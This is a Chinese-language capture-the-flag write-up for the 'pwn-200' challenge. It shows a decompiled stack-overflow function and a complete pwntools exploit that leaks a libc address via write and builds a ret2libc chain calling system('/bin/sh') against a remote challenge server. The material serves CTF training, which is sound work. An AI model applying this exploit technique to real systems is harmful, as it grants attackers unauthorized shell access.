攻防世界-pwn-200-Writeup

原创

SkYe231_ 于 2020-05-15 18:33:58 发布 169 收藏

pwn-200

[collapse title="展开查看详情" status="false"]**考点：栈溢出、泄露地址**

漏洞函数如下：

```
ssize_t sub_8048484()
{
  char buf; // [esp+1Ch] [ebp-6Ch]

  setbuf(stdin, &buf);
  return read(0, &buf, 0x100u);//溢出
}
```

可操作空间空间很长就不需要什么骚操作了。就是没给 libc 文件，需要去libc database 查一下而已。查到的话是这个：libc6-i386_2.23-0ubuntu11_amd64.so

完整 exp：

```python
from pwn import *
context.log_level = 'debug'

#p = process("./pwn")
p = remote("159.138.137.79",55989)
elf = ELF("./pwn")
libc = ELF("./libc6-i386_2.23-0ubuntu11_amd64.so")

read_plt = elf.plt['read']
read_got = elf.got['read']
write_plt = elf.plt['write']
write_got = elf.got['write']
main_addr = 0x080483D0

payload = 'a'*(0x6c+0x4)
payload += p32(write_plt) + p32(main_addr)
payload += p32(1) + p32(write_got) + p32(0x4)

p.recvuntil("!\n")
p.sendline(payload)
write_leak = u32(p.recvuntil("Welcome",drop=1))
log.success("write_leak:"+hex(write_leak))
libc_base = write_leak - libc.symbols['write']
log.success("libc_base:"+hex(libc_base))
system = libc_base + libc.symbols['system']
log.success("system:"+hex(system))
binsh = libc_base + libc.search("/bin/sh").next()
log.success("binsh:"+hex(binsh))

payload = 'a'*(0x6c+0x4)
payload += p32(system) + p32(main_addr) + p32(binsh)

p.sendline(payload)
#gdb.attach(p)
p.interactive()
```

[/collapse]